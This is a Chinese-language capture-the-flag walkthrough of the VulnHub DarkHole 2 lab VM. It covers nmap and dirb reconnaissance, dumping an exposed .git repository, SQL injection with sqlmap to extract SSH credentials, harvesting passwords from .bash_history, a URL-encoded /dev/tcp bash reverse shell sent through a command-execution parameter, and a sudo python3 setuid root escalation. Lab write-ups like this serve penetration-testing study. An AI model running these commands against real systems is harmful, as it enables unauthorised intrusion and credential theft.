实验主机:攻击机kali 靶机DarkHole
实验目标:取得 root 权限 + 2 Flag
实验网络:桥接模式
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- Git 库泄漏
- SQL注入
- 本地端口转发
- 本地信息收集
- 密码爆破
- 水平提权
- Root提权1、2
靶机下载地址:DarkHole: 2 ~ VulnHub
环境部署:
1.使用VMware Workstation打开靶机并将网卡改为桥接模式
2.打开并配置好自己的kali网卡也为桥接...
一:信息收集
1.使用nmap进行主机发现
nmap -sT 192.168.3.0/24
这里发现开放22 80端口在浏览器访问
2.目录扫描
dirb http://192.168.3.5
看到了“COMMIT_EDITMSG”(最后一次提交数据时的描述文件),说明这是一个git库,那就下载下来看看里里面都是什么吧
3.使用git-dumper分析git文件
1) 安装git-dumper
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper
2)下载git文件到temp目录下
git-dumper http://192.168.3.5/.git/ temp mkdir temp #桌面新建temp文件夹 chmod 777 temp
3)查看更新日志
cd temp ls -al git log
我们发现有三次提交,可以使用Diff查看提交的区别
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
4)用得到的账号密码进行登录
二:漏洞探测及利用
1)在url出有id=1的字段,那么就可能存在SQL注入
在id=1后加' 页面回显空白
2)判断闭合id=1'--+
页面回显正常
3)判断字段数
http://192.168.3.5/dashboard.php?id=1' order by 7 --+ //报错 http://192.168.3.5/dashboard.php?id=1' order by 6 --+ //正常
4)手注太麻烦直接上工具吧
python sqlmap.py -u "http://192.168.3.5/dashboard.php?id=1" --cookie="PHPS ESSID=o51nbqppq5pgaa4rcc7534fm3h" --batch --dbs #爆数据库名 python sqlmap.py -u "http://192.168.3.5/dashboard.php?id=1" --cookie="PHPSESSID=o51nbqppq5pgaa4rcc7534fm3h" --batch -D darkhole_2 --tables #爆表名 python sqlmap.py -u "http://192.168.3.5/dashboard.php?id=1" --cookie="PHPSESSID=o51nbqppq5pgaa4rcc7534fm3h" --batch -D darkhole_2 -T ssh --columns #爆字段 python sqlmap.py -u "http://192.168.3.5/dashboard.php?id=1" --cookie="PHPSESSID=o51nbqppq5pgaa4rcc7534fm3h" --batch -D darkhole_2 -T ssh -C "user,pass" --dump #爆字段内容
5)爆破结束尝试进行ssh登录
ssh jehad@192.168.3.5
三:提权
1)cat /etc/passwd | grep "/bin/bash"
具有 /bin/bash 的用户除了 root 外 有: lama, jehad, losy
2)查看历史命令记录
cat .bash_history
本地开放9999端口服务
3)查看9999端口状态
ss -antp
4)判断该端口网站用户
curl "http://127.0.0.1:9999/?cmd=id"
5)重新连接ssh进行端口映射
ssh jehad@192.168.3.5 -L 9999:localhost:9999
6)构造连接kali命令并进行编码
bash -c 'bash -i >& /dev/tcp/192.168.3.5/7777 0>&1' bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.5%2F7777%200%3E%261'
7) kali开启监听将构造好的语句在浏览器访问
http://127.0.0.1:9999/?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.5%2F7777%200%3E%261'
成功拿到losy权限....
8) 查看历史命令记录
cat .bash_history
发现密码泄露以及存在python环境...
9) ssh连接losy用户
10)获取root权限
sudo -l sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' whoami ls cat user.txt